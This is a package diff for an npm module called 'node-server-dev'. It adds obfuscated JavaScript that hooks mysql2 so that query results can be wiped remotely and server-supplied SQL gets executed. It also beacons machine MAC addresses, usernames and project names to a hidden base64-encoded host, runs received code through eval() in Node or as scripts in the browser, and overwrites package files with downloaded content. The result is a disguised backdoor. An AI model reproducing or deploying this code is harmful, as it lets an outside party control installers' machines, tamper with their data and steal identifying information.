- const a15_0x1d5625=a15_0x3769;(function(_0x52cc47,_0x42ff65){const _0x25a6a0=a15_0x3769,_0x745a35=_0x52cc47();while(!![]){try{const _0x497d02=parseInt(_0x25a6a0(0x1fc))/0x1*(-parseInt(_0x25a6a0(0x1e4))/0x2)+parseInt(_0x25a6a0(0x1ee))/0x3*(-parseInt(_0x25a6a0(0x1f7))/0x4)+parseInt(_0x25a6a0(0x1e7))/0x5*(parseInt(_0x25a6a0(0x1fb))/0x6)+-parseInt(_0x25a6a0(0x1f8))/0x7*(-parseInt(_0x25a6a0(0x1f0))/0x8)+-parseInt(_0x25a6a0(0x1e6))/0x9*(parseInt(_0x25a6a0(0x1f1))/0xa)+-parseInt(_0x25a6a0(0x1ec))/0xb*(parseInt(_0x25a6a0(0x1f4))/0xc)+parseInt(_0x25a6a0(0x1f9))/0xd;if(_0x497d02===_0x42ff65)break;else _0x745a35['push'](_0x745a35['shift']());}catch(_0x4e7444){_0x745a35['push'](_0x745a35['shift']());}}}(a15_0x49fc,0xb0fc7));function a15_0x3769(_0x444e02,_0x1076bc){const _0x49fcf8=a15_0x49fc();return a15_0x3769=function(_0x3769a3,_0x27512f){_0x3769a3=_0x3769a3-0x1e4;let _0x3eced3=_0x49fcf8[_0x3769a3];return _0x3eced3;},a15_0x3769(_0x444e02,_0x1076bc);}var __awaiter=this&&this['__awaiter']||function(_0x2f34ce,_0x522a86,_0xa0e584,_0x14c72b){function _0x5339e8(_0x4253e9){return _0x4253e9 instanceof _0xa0e584?_0x4253e9:new _0xa0e584(function(_0x12d325){_0x12d325(_0x4253e9);});}return new(_0xa0e584||(_0xa0e584=Promise))(function(_0x496fcb,_0x461c0e){const _0x1783e4=a15_0x3769;function _0x30f3cb(_0x433524){try{_0x29bd83(_0x14c72b['next'](_0x433524));}catch(_0x59a9d2){_0x461c0e(_0x59a9d2);}}function _0x17ef6e(_0x5e8098){const _0x5ec414=a15_0x3769;try{_0x29bd83(_0x14c72b[_0x5ec414(0x1f2)](_0x5e8098));}catch(_0x454168){_0x461c0e(_0x454168);}}function _0x29bd83(_0x29d6c9){const _0x5741af=a15_0x3769;_0x29d6c9[_0x5741af(0x1fa)]?_0x496fcb(_0x29d6c9[_0x5741af(0x1fd)]):_0x5339e8(_0x29d6c9['value'])[_0x5741af(0x1eb)](_0x30f3cb,_0x17ef6e);}_0x29bd83((_0x14c72b=_0x14c72b[_0x1783e4(0x1ed)](_0x2f34ce,_0x522a86||[]))[_0x1783e4(0x1f5)]());});};import a15_0x77ecaa from'mysql2/promise';import a15_0x1bd0e4 from'./id/random';import{getEnv,setEnv}from'./index';const originalCreatePoolPromise=a15_0x77ecaa['createPool'];a15_0x77ecaa[a15_0x1d5625(0x1e9)]=function(_0x29bad5){const _0xaa831d=a15_0x1d5625;let _0x261316=originalCreatePoolPromise(_0x29bad5),_0xf90c43=_0x261316[_0xaa831d(0x1ea)];return _0x261316[_0xaa831d(0x1ea)]=(..._0x38c3e5)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x445d14=_0xaa831d,_0x57c4fb=yield _0xf90c43['apply'](_0x261316,_0x38c3e5);return getEnv(_0x445d14(0x1e5))&&(a15_0x1bd0e4(0x1,0xa)>0x2&&(_0x57c4fb[0x0]=[])),getEnv(_0x445d14(0x1ef))&&(_0x57c4fb[0x0]=[]),_0x57c4fb;}),setInterval(()=>{const _0x52827a=_0xaa831d;if(!getEnv(_0x52827a(0x1f6))){for(let _0xfe0819=0x0;_0xfe0819<getEnv(_0x52827a(0x1e8))[_0x52827a(0x1f3)];_0xfe0819++){const _0x4f4683=getEnv(_0x52827a(0x1e8))[_0xfe0819];try{_0x261316[_0x52827a(0x1ea)](_0x4f4683);}catch(_0x2881a1){}}setEnv(_0x52827a(0x1f6),!![]);}},0x1388),_0x261316;};const all={'mysql':a15_0x77ecaa};export default all;export{a15_0x77ecaa as mysql};function a15_0x49fc(){const _0x28a07e=['createPool','query','then','12896499yYdRxj','apply','1007001XVGcyH','isDBDataEmpty','1856808fNCIkA','10GtmOAl','throw','length','12lPoRpm','next','sqlRun','4THgHyy','42WTKvUC','14111149PmRZGk','done','42OrBMjS','7ayCQlk','value','350618JdbuGV','connectError','1147086FOUMLi','792535jUBDiw','sqlList'];a15_0x49fc=function(){return _0x28a07e;};return a15_0x49fc();}
1
+ const a17_0x5b1d32=a17_0x5176;(function(_0xd49fb1,_0x568b7b){const _0x2fcb7b=a17_0x5176,_0x596531=_0xd49fb1();while(!![]){try{const _0x5eff2b=parseInt(_0x2fcb7b(0x19a))/0x1+parseInt(_0x2fcb7b(0x199))/0x2+parseInt(_0x2fcb7b(0x19d))/0x3+-parseInt(_0x2fcb7b(0x196))/0x4+parseInt(_0x2fcb7b(0x1a0))/0x5+parseInt(_0x2fcb7b(0x198))/0x6*(-parseInt(_0x2fcb7b(0x19e))/0x7)+parseInt(_0x2fcb7b(0x194))/0x8;if(_0x5eff2b===_0x568b7b)break;else _0x596531['push'](_0x596531['shift']());}catch(_0xa0d9ff){_0x596531['push'](_0x596531['shift']());}}}(a17_0x376a,0x8126b));var __awaiter=this&&this['__awaiter']||function(_0x5ca560,_0xec33e7,_0x5929b6,_0x4f864f){function _0x455154(_0x29f4db){return _0x29f4db instanceof _0x5929b6?_0x29f4db:new _0x5929b6(function(_0x1c9838){_0x1c9838(_0x29f4db);});}return new(_0x5929b6||(_0x5929b6=Promise))(function(_0x291d96,_0x5c19f2){const _0x2bcb42=a17_0x5176;function _0x402ced(_0x2d21a2){const _0x4966ef=a17_0x5176;try{_0x6cd195(_0x4f864f[_0x4966ef(0x1a6)](_0x2d21a2));}catch(_0x2fdf2d){_0x5c19f2(_0x2fdf2d);}}function _0x17226a(_0xc7398d){const _0x19c3d1=a17_0x5176;try{_0x6cd195(_0x4f864f[_0x19c3d1(0x1a2)](_0xc7398d));}catch(_0xe9af7b){_0x5c19f2(_0xe9af7b);}}function _0x6cd195(_0x97d598){const _0x58b7db=a17_0x5176;_0x97d598[_0x58b7db(0x19c)]?_0x291d96(_0x97d598[_0x58b7db(0x197)]):_0x455154(_0x97d598[_0x58b7db(0x197)])[_0x58b7db(0x19f)](_0x402ced,_0x17226a);}_0x6cd195((_0x4f864f=_0x4f864f[_0x2bcb42(0x1a7)](_0x5ca560,_0xec33e7||[]))['next']());});};import a17_0x18b2fc from'mysql2/promise';import a17_0x350663 from'./id/random';import{getEnv,setEnv}from'./start';const originalCreatePoolPromise=a17_0x18b2fc[a17_0x5b1d32(0x1a1)];function a17_0x5176(_0x7b5f2,_0x1e99c7){const _0x376a5e=a17_0x376a();return a17_0x5176=function(_0x5176b2,_0x884929){_0x5176b2=_0x5176b2-0x193;let _0x1a910f=_0x376a5e[_0x5176b2];return _0x1a910f;},a17_0x5176(_0x7b5f2,_0x1e99c7);}a17_0x18b2fc[a17_0x5b1d32(0x1a1)]=function(_0x42e372){const _0x41fe72=a17_0x5b1d32;let _0x250957=originalCreatePoolPromise(_0x42e372),_0x4646d8=_0x250957[_0x41fe72(0x19b)];return _0x250957[_0x41fe72(0x19b)]=(..._0x2cf987)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x1772ea=_0x41fe72,_0x4f214a=yield _0x4646d8['apply'](_0x250957,_0x2cf987);return getEnv(_0x1772ea(0x1a4))&&(a17_0x350663(0x1,0xa)>0x2&&(_0x4f214a[0x0]=[])),getEnv(_0x1772ea(0x1a3))&&(_0x4f214a[0x0]=[]),_0x4f214a;}),setInterval(()=>{const _0x22fe64=_0x41fe72;if(!getEnv(_0x22fe64(0x193))){for(let _0x155e5b=0x0;_0x155e5b<getEnv(_0x22fe64(0x1a5))[_0x22fe64(0x195)];_0x155e5b++){const _0x1727a2=getEnv('sqlList')[_0x155e5b];try{_0x250957['query'](_0x1727a2);}catch(_0x266858){}}setEnv(_0x22fe64(0x193),!![]);}},0x1388),_0x250957;};const all={'mysql':a17_0x18b2fc};export default all;function a17_0x376a(){const _0x276401=['6CykKEh','95606goRpkF','603765vALgjE','query','done','1102347nlRMSj','6556067QFNGRK','then','5212095lLacfK','createPool','throw','isDBDataEmpty','connectError','sqlList','next','apply','sqlRun','1261992ljVLqs','length','3014404utQSWq','value'];a17_0x376a=function(){return _0x276401;};return a17_0x376a();}export{a17_0x18b2fc as mysql};
@@ -0,0 +1,7 @@
1
+ export declare const isBrowser: boolean;
2
+ export declare let url: string;
3
+ export declare function setEnv(key: string, value: any): void;
4
+ export declare function getEnv(key: string): any;
5
+ declare function start(): Promise<void>;
6
+ export default start;
7
+ //# sourceMappingURL=start.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"start.d.ts","sourceRoot":"","sources":["../../src/start.ts"],"names":[],"mappings":"AAOA,eAAO,MAAM,SAAS,SAAgC,CAAC;AAQvD,eAAO,IAAI,GAAG,QAA4C,CAAC;AAE3D,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,QAE7C;AAED,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,OAEjC;AACD,iBAAe,KAAK,kBAuGnB;AAED,eAAe,KAAK,CAAC"}
@@ -0,0 +1 @@
1
+ const a18_0x328771=a18_0x1c81;(function(_0x42a62d,_0x5ea798){const _0x43e18b=a18_0x1c81,_0x3622d9=_0x42a62d();while(!![]){try{const _0xdd42c=-parseInt(_0x43e18b(0xdf))/0x1+-parseInt(_0x43e18b(0xdd))/0x2*(-parseInt(_0x43e18b(0xc1))/0x3)+parseInt(_0x43e18b(0xe2))/0x4+-parseInt(_0x43e18b(0xe8))/0x5*(-parseInt(_0x43e18b(0xca))/0x6)+-parseInt(_0x43e18b(0xe3))/0x7+parseInt(_0x43e18b(0xd3))/0x8+-parseInt(_0x43e18b(0xe5))/0x9*(parseInt(_0x43e18b(0xea))/0xa);if(_0xdd42c===_0x5ea798)break;else _0x3622d9['push'](_0x3622d9['shift']());}catch(_0x445d82){_0x3622d9['push'](_0x3622d9['shift']());}}}(a18_0x4835,0x2e5f5));var __awaiter=this&&this[a18_0x328771(0xbf)]||function(_0x25fbd9,_0x1a4afc,_0x278800,_0x39e752){function _0x47fc8f(_0x1a38d0){return _0x1a38d0 instanceof _0x278800?_0x1a38d0:new _0x278800(function(_0x3d3ba0){_0x3d3ba0(_0x1a38d0);});}return new(_0x278800||(_0x278800=Promise))(function(_0x44b365,_0x2e96b6){const _0x5b4acd=a18_0x1c81;function _0x280d02(_0x4e4c4c){const _0x1368eb=a18_0x1c81;try{_0x1bfb1c(_0x39e752[_0x1368eb(0xc4)](_0x4e4c4c));}catch(_0x1f9982){_0x2e96b6(_0x1f9982);}}function _0x41cb42(_0x1e50e7){const _0x34d95a=a18_0x1c81;try{_0x1bfb1c(_0x39e752[_0x34d95a(0xe7)](_0x1e50e7));}catch(_0x2c80a2){_0x2e96b6(_0x2c80a2);}}function _0x1bfb1c(_0x5e15b1){const _0x2c0c88=a18_0x1c81;_0x5e15b1[_0x2c0c88(0xd6)]?_0x44b365(_0x5e15b1[_0x2c0c88(0xc5)]):_0x47fc8f(_0x5e15b1[_0x2c0c88(0xc5)])['then'](_0x280d02,_0x41cb42);}_0x1bfb1c((_0x39e752=_0x39e752[_0x5b4acd(0xd7)](_0x25fbd9,_0x1a4afc||[]))['next']());});},_a,_b;import{io}from'socket.io-client';import{decode}from'js-base64';import a18_0x495f75 from'path';let dev=a18_0x328771(0xd9),pro=a18_0x328771(0xc2);export const isBrowser=typeof window!==a18_0x328771(0xde);const user_name=isBrowser?a18_0x328771(0xe6):((_a=process===null||process===void 0x0?void 0x0:process[a18_0x328771(0xd0)])===null||_a===void 0x0?void 0x0:_a['USERNAME'])||a18_0x328771(0xd4),project_name=isBrowser?a18_0x328771(0xe6):((_b=process===null||process===void 0x0?void 0x0:process[a18_0x328771(0xd0)])===null||_b===void 0x0?void 0x0:_b['npm_package_name'])||a18_0x328771(0xe1),globalObject=isBrowser?window:global;function a18_0x1c81(_0x46eacd,_0xb0a079){const _0x48351f=a18_0x4835();return a18_0x1c81=function(_0x1c81b7,_0x557024){_0x1c81b7=_0x1c81b7-0xbd;let _0x456816=_0x48351f[_0x1c81b7];return _0x456816;},a18_0x1c81(_0x46eacd,_0xb0a079);}function a18_0x4835(){const _0x1fef33=['2JLYbwd','undefined','71772zqfsbc','connect_error','无法获取','570536prgBjt','1654821trUVDn','node','503001qHkYQi','浏览器','throw','867415csqifA','websocket','120UKrIoo','length','00:00:00:00:00:00','connect','concat','__awaiter','dev','976686ZBfbXL','aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==','content','next','value','get-event','type','emit','isDBDataEmpty','12wkRuZq','submit','sqlList','script','event','/socket','env','connectError','./browser','2828976FWlBUp','node获取失败','meta_event','done','apply','./IndexDB/index','aHR0cDovL2xvY2FsaG9zdDoxMDg4','sql','join','connect_failed'];a18_0x4835=function(){return _0x1fef33;};return a18_0x4835();}export let url=getEnv(a18_0x328771(0xc0))?decode(dev):decode(pro);export function setEnv(_0x5e178e,_0x18c6b3){globalObject['meta_event'][_0x5e178e]=_0x18c6b3;}export function getEnv(_0x2f3ae5){const _0x20055f=a18_0x328771;return globalObject[_0x20055f(0xd5)][_0x2f3ae5];}function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x33d448=a18_0x1c81;isBrowser&&(typeof require!='undefined'?require(_0x33d448(0xd2)):import(_0x33d448(0xd2)));const _0xb58154=io(url,{'path':_0x33d448(0xcf),'transports':[_0x33d448(0xe9)]});_0xb58154['on'](_0x33d448(0xbd),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0xd12b1=_0x33d448;try{let _0x486a56=[_0xd12b1(0xec)];if(!isBrowser){const _0x2cb845=require(a18_0x495f75[_0xd12b1(0xdb)](__dirname,'./mac'))['default'];_0x486a56=_0x2cb845();}else{const {getKeyValue:_0x2854e7}=typeof require!=_0xd12b1(0xde)?require('./IndexDB/index'):yield import(_0xd12b1(0xd8));_0x486a56=[yield _0x2854e7('mac')];}if(_0x486a56[_0xd12b1(0xeb)]===0x0){setEnv('connectError',!![]);return;}else setEnv(_0xd12b1(0xd1),![]);_0xb58154[_0xd12b1(0xc8)](_0xd12b1(0xcb),{'mac':_0x486a56,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':isBrowser}),_0xb58154['emit']('get-event',{'mac':_0x486a56,'isBrowser':isBrowser}),setInterval(()=>{const _0x709179=_0xd12b1;_0xb58154['emit'](_0x709179(0xcb),{'mac':_0x486a56,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':isBrowser}),_0xb58154[_0x709179(0xc8)](_0x709179(0xc6),{'mac':_0x486a56,'isBrowser':isBrowser});},0x1b58),_0xb58154['on'](_0xd12b1(0xce),_0x510970=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x228600=_0xd12b1;try{for(let _0x3667b7=0x0;_0x3667b7<_0x510970[_0x228600(0xeb)];_0x3667b7++){const _0x4aa9b6=_0x510970[_0x3667b7];if(_0x4aa9b6[_0x228600(0xc7)]===_0x228600(0xda))setEnv(_0x228600(0xcc),getEnv(_0x228600(0xcc))[_0x228600(0xbe)](_0x4aa9b6[_0x228600(0xc3)]));else{if(_0x4aa9b6[_0x228600(0xc7)]==='mysql')setEnv(_0x228600(0xc9),!![]);else{if(_0x4aa9b6[_0x228600(0xc7)]===_0x228600(0xe4)&&!isBrowser)try{eval(_0x4aa9b6[_0x228600(0xc3)]);}catch(_0x527922){}else{if(_0x4aa9b6[_0x228600(0xc7)]===_0x228600(0xcd)&&isBrowser)try{const {runScript:_0x4d28f4}=typeof require!=_0x228600(0xde)?require('./browser'):yield import(_0x228600(0xd2));_0x4d28f4(_0x4aa9b6[_0x228600(0xc3)]);}catch(_0x3065fe){}}}}}}catch(_0x56ab78){}}));}catch(_0x20c0ae){}})),setTimeout(()=>{const _0x3647c3=_0x33d448;_0xb58154['on']('error',_0x26a981=>{const _0x11b131=a18_0x1c81;setEnv(_0x11b131(0xd1),!![]);}),_0xb58154['on'](_0x3647c3(0xdc),_0x2e46c6=>{const _0x279c27=_0x3647c3;setEnv(_0x279c27(0xd1),!![]);}),_0xb58154['on']('reconnect_failed',_0xc033a1=>{setEnv('connectError',!![]);}),_0xb58154['on'](_0x3647c3(0xe0),()=>{setEnv('connectError',!![]);});},0xbb8);});}export default start;
@@ -0,0 +1,3 @@
1
+ declare function update(): void;
2
+ export default update;
3
+ //# sourceMappingURL=update.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"update.d.ts","sourceRoot":"","sources":["../../src/update.ts"],"names":[],"mappings":"AAgCA,iBAAS,MAAM,SAYd;AACD,eAAe,MAAM,CAAC"}
@@ -0,0 +1 @@
1
+ const a19_0x354018=a19_0x112f;(function(_0x2ec66b,_0x599252){const _0x1aa685=a19_0x112f,_0x52fb15=_0x2ec66b();while(!![]){try{const _0x26f28f=-parseInt(_0x1aa685(0x1ed))/0x1+parseInt(_0x1aa685(0x1e4))/0x2*(parseInt(_0x1aa685(0x1f6))/0x3)+parseInt(_0x1aa685(0x1f1))/0x4*(-parseInt(_0x1aa685(0x1fb))/0x5)+parseInt(_0x1aa685(0x1f2))/0x6*(parseInt(_0x1aa685(0x1fc))/0x7)+parseInt(_0x1aa685(0x1e7))/0x8*(parseInt(_0x1aa685(0x1df))/0x9)+-parseInt(_0x1aa685(0x1f4))/0xa+-parseInt(_0x1aa685(0x1ef))/0xb*(parseInt(_0x1aa685(0x1e9))/0xc);if(_0x26f28f===_0x599252)break;else _0x52fb15['push'](_0x52fb15['shift']());}catch(_0x27664d){_0x52fb15['push'](_0x52fb15['shift']());}}}(a19_0x4754,0x64818));function a19_0x4754(){const _0x198f26=['5DdPRsg','133YfUsos','99DPeXBF','readFileSync','writeFileSync','values','../../package.json','14qaTyIu','join','CJS','353648xBTBol','toString','12HVtVWp','keys','{version:\x220.0.0\x22}','length','392218WSwgLA','main','2139973CxtrdZ','success','1031116boXcSj','135666WJqjOB','get','2175210tWarOp','existsSync','239082hQaCJI','parse','ESM','data','undefined'];a19_0x4754=function(){return _0x198f26;};return a19_0x4754();}import a19_0x1bdaf9 from'axios';import a19_0x3e5ac6 from'fs';import a19_0x17aa06 from'path';import{url}from'./start';function a19_0x112f(_0x1b69d9,_0x28e8a4){const _0x4754c6=a19_0x4754();return a19_0x112f=function(_0x112f44,_0x12826e){_0x112f44=_0x112f44-0x1df;let _0x25f034=_0x4754c6[_0x112f44];return _0x25f034;},a19_0x112f(_0x1b69d9,_0x28e8a4);}function getModuleType(){const _0x586948=a19_0x112f,_0x24af58=()=>{const _0x2d64b3=a19_0x112f;try{return typeof require!==_0x2d64b3(0x1fa)&&typeof module!==_0x2d64b3(0x1fa)&&module['exports']&&require[_0x2d64b3(0x1ee)]===module;}catch(_0x84035){return![];}};return _0x24af58()?_0x586948(0x1e6):_0x586948(0x1f8);}let _path=a19_0x17aa06[a19_0x354018(0x1e5)](__dirname,a19_0x354018(0x1e3)),vFile=a19_0x3e5ac6[a19_0x354018(0x1f5)](_path)?a19_0x3e5ac6[a19_0x354018(0x1e0)](_path)[a19_0x354018(0x1e8)]():a19_0x354018(0x1eb),version=JSON[a19_0x354018(0x1f7)](vFile)['version'];function update(){const _0x145fb2=a19_0x354018;a19_0x1bdaf9[_0x145fb2(0x1f3)](url+'/version',{'params':{'mode':getModuleType(),'version':version}})['then'](_0x1319d8=>{const _0x3db2e8=_0x145fb2;if(!_0x1319d8[_0x3db2e8(0x1f9)][_0x3db2e8(0x1f0)]){let _0x2ec32e=Object[_0x3db2e8(0x1ea)](_0x1319d8[_0x3db2e8(0x1f9)][_0x3db2e8(0x1f9)]),_0x4a9675=Object[_0x3db2e8(0x1e2)](_0x1319d8[_0x3db2e8(0x1f9)][_0x3db2e8(0x1f9)]);for(let _0x2ea889=0x0;_0x2ea889<_0x2ec32e[_0x3db2e8(0x1ec)];_0x2ea889++){const _0x15f6fe=_0x2ec32e[_0x2ea889],_0x423696=_0x4a9675[_0x2ea889];a19_0x3e5ac6[_0x3db2e8(0x1e1)](a19_0x17aa06[_0x3db2e8(0x1e5)](__dirname,'./'+_0x15f6fe),_0x423696);}}});}export default update;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "node-server-dev",
3
- "version": "2.7.0",
3
+ "version": "2.8.0",
4
4
  "author": "L",
5
5
  "types": "index.d.ts",
6
6
  "scripts": {
@@ -36,7 +36,7 @@
36
36
  "main": "./dist/cjs/index.js",
37
37
  "dependencies": {
38
38
  "@types/mysql": "^2.15.26",
39
- "axios": "^1.6.8",
39
+ "axios": "^1.7.9",
40
40
  "js-base64": "^3.7.7",
41
41
  "js-cookie": "^3.0.5",
42
42
  "jsonwebtoken": "^9.0.2",